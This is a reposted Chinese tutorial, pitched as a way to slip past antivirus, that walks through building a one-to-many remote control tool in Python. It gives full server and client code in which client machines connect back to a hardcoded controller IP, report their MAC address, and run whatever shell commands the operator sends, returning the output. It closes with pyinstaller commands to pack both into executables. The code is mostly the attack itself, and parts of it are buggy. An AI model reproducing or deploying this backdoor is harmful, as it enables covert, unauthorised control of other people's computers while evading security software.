|
过杀软-帅小伙用Python写渗透利器(一对多远程控制) 转载自:过杀软-帅小伙用Python写渗透利器(一对多远程控制)
自写远程控制 往往可以免杀过杀软
Python中的socket模块和threading模块合用可以实现多客户端连接 且服务端可以选择任意一个客户端实行远程控制。
(但在实际情况中python的多线程它是按照线程启动的顺序 一一执行的 那么我们如何才能实现服务端可以去选择客户端执行控制呢?)
实现原理
编写Socketsocket模块
服务端- import socket
- socket.setdefaulttimeout(3) # 3秒超时s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建socket对象第一个参数表示使用IPv4家族第二个参数表示使用TCP连接
- s.bind(('0.0.0.0',port))#0.0.0.0 表示任意一个网卡port是绑定的端口
- s.listen()#开启监听等待客户端连接
- c,addr = coon.accept() #accpet()返回客户端的socketc变量接收socketaddr变量接收客户端IP
复制代码
客户端- <p>importsocket</p>
- <p>s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect((serverip, port)) #连接服务端</p>
- <p>s.sendall(b’Hello’)#sendall() 向服务端发送二进制数据</p>
- <p>s.close()#关闭连接</p>
复制代码
创建多线程实现多客户端连接socket 模块本身是不能一对多的。
可以选择在服务端中用socketserver模块 来实现一对多(食用方法自行百度)
我选择用threading模块与socket模块结合使用
- import socket
- import threading
- socket.setdefaulttimeout(3)
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.bind(('0.0.0.0',port))
- s.listen()
- while1:
- c, addr = coon.accept()
- threading.Thread(target=func,args=(c,addr)).start()#创建一个线程调用自定义func函数传入 c,addr参数并启动
复制代码
了解了基本用法后我们将这些步骤封装成函数
服务端完整代码如下:- import time
- import socket
- import threading
- timeout_num=0 #判断是否超时的变量
- maclist=[] #存放客户端mac地址的列表
- func_dict = { #存放服务端控制客户端 对应功能的字典
- '1': shell
- }
- def get_maclist(c,addr): #保存客户端的mac地址
- print('主机:',addr,"connected.") #打印客户端信息
- datac = c.recv(1024) #接收客户端发来的数据
- global maclist #全局变量
- maclist.append(datac.decode()) #将客户端mac地址保存在maclist列表中
- def choose_client(c,data): #指定客户端实行操作
- global maclist
- global func_dict
- numif=0
- def ifnum(): #判断输入的客户端编号是否正确 且向客户端发送mac地址
- nonlocal numif
- nonlocal data
- try:
- c.sendall(maclist[int(data)].encode()) #发送maclist列表中的选择编号(从0开始)对应的mac地址
- numif=1
- return
- except:
- print('The num is error.')
- data=input("Please input client's num>>>")
- numif =0
- while numif==0: #判断mac地址是否发送成功
- ifnum()
- datac=c.recv(1024)#接收客户端发来的数据 1
- num=int(datac.decode()) #将datac二进制转为十进制
- if num ==1 : #判断是否为数据 1
- while 1:
- try:
- choose_funcnum=input('Please input func num(quit=q/Q)>>>')#输入功能编号
- if choose_funcnum=='q' or choose_funcnum=='Q':#如果输入q/Q则退出
- try:
- c.sendall(choose_funcnum.encode())#发送退出数据
- except:break#发送错误 则退出
- break
- c.sendall(choose_funcnum.encode())#发送功能编号
- func_dict[choose_funcnum](c=c,num=int(choose_funcnum))#从功能字典中执行服务端功能编号对应的功能函数
- except:
- print('The num is error.')#提示输入有误
- c.close()
- def thread(coon,data): #创建线程函数
- global timeout_num #使用全局变量
- try:
- c, addr = coon.accept()
- except:return 0#如果连接失败 放回0
- if data != 'None':
- timeout_num=1
- threading.Thread(target=choose_client,args=(c,data)).start()#调用选择客户端函数 第二次连接
- else:
- timeout_num=1 #连接成功将超时变量设为1
- threading.Thread(target=get_maclist,args=(c,addr)).start() #调用存入客户端mac地址的自定义函数
- return 1 #执行成功返回1
- def scoket_listen(port,data): #监听函数
- socket.setdefaulttimeout(3) # 3秒超时
- s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.bind(('0.0.0.0',port)) #0.0.0.0 表示任意一个网卡
- s.listen()
- while 1:
- time_out_data=thread(s,data)#执行创建线程函数 获取返回值
- if time_out_data ==0:#如果连接失败则 break循环
- break
- s.close()
- def time_out(): #判断是否连接超时
- global timeout_num
- if timeout_num == 0:
- print('The connect timed out\n')#如果连接超时则提示 后继续运行主函数
- main()
- def main(): #主函数
- print('监听上线主机中...')
- scoket_listen(99, data='None') #第一次与客户端连接
- time_out() #判断是否超时
- time.sleep(2)#睡眠2秒钟
- global timeout_num
- timeout_num=0
- choose_client_num = input("Please input client's num>>>")
- scoket_listen(98, data=choose_client_num) #第二次与客户端连接
- time_out()
- main()
复制代码
客户端完整代码如下:- import uuid
- serverip ='192.168.3.12' #服务端IP
- func_dict = {#功能字典
- '1': shell
- }
- def get_mac(): #获取本机mac地址
- mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
- mac = mac.replace(':','')
- return mac
- def loop_send(data,port): #第一次与服务端连接
- global serverip
- while 1:
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((serverip, port))#连接服务端
- s.sendall(data.encode())#发送mac地址
- s.close()
- break
- except:
- s.close()
- continue
- def loop_get(mac,port): #第二次与服务端连接
- global func_dict
- global serverip
- num=0#变量 表示循环10次
- while num<10:
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((serverip, port))
- mac_client=s.recv(1024).decode()#获取服务端发来的mac地址
- if mac == mac_client:#判断是否与自己的mac地址一样
- s.sendall('1'.encode())#一样则向服务端发送 数据1
- while 1:
- try:
- func_dict_num=s.recv(1024).decode()#接收服务端发来的功能编号
- except ConnectionResetError as e: #如果错误则打印错误 并退出重新等待服务端连接
- print(e)
- break
- if func_dict_num == 'q' or func_dict_num =='Q': #接受服务端发来的数据 如果是q/Q 则退出 重新等待服务端连接
- break
- print('The func num is:',func_dict_num)
- try:
- func_dict[func_dict_num](s)#执行功能编号的对应的功能
- break
- except:
- print('The num is error.')
- else:
- s.sendall('0'.encode())#如果服务端发来的mac地址与自己不一样则向服务端发送数据0 并退出 重新等待服务端连接
- s.close()
- break
- except ConnectionRefusedError:
- num +=1
- print('countdown:',num,'seconds')
- s.close()
- continue
- while 1: #循环连接服务端
- mac=get_mac()
- loop_send(data=mac,port=9999)
- print('continue')
- loop_get(mac=mac,port=9998)
- print('\n')
复制代码
自定义功能菜单在上述服务端和客户端代码中 我们定义了一个 func_dict的字典用来存放 功能编号和功能函数
编写一个远程执行shell的功能在功能字典中添加功能编号和对应的功能函数(服务端和客户端都需要)
func_dict = {
'1': shell
}
使用subprocess模块实现shell命令执行
服务端代码- def shell(c,num):
- while 1:
- if num == 1:#判断功能编号是否为1
- choose_funclist=input('cmd/shell>>>')#输入shell命令
- if choose_funclist =='q' orchoose_funclist == 'Q':#如果输入q/Q则退回选择功能编号菜单
- c.sendall(b'quit')#向服务端发送退出数据
- return
- if not choose_funclist: #如果输入的shell命令为空则继续
- continue
- c.sendall(choose_funclist.encode()) #发送shell命令
- datac=c.recv(2048)#接收客户端发来的shell命令执行后的回显数据
- if datac == '':#如果为空则换行
- print('\n')
- print(datac.decode(encoding='gb2312'))#打印数据
复制代码 客户端代码
- import subprocess
- def shell(s):
- while 1:
- try:
- command=s.recv(1024).decode() #接收shell命令 错误则退出
- except ConnectionResetError as e:
- print(e)
- break
- if command == 'quit':return #如果为退出数据 则退出
- p=subprocess.Popen(command.rstrip(),shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)#执行shell命令
- data =p.communicate()[0].decode(encoding='gb2312')#获取命令执行后的回显
- if data == '':#如果为空则发送 换行数据
- s.sendall('\n'.encode(encoding='gb2312'))
- else:
- s.sendall(data.encode(encoding='gb2312')) #发送命令执行后的回显数据
复制代码
大家可以自行写添加自己想要的功能
将服务端和客户端打包为exe文件pyinstaller -FSocketServer.py --exclude-module _bootlocale
pyinstaller -FSocketClient.py --exclude-module _bootlocale
|
|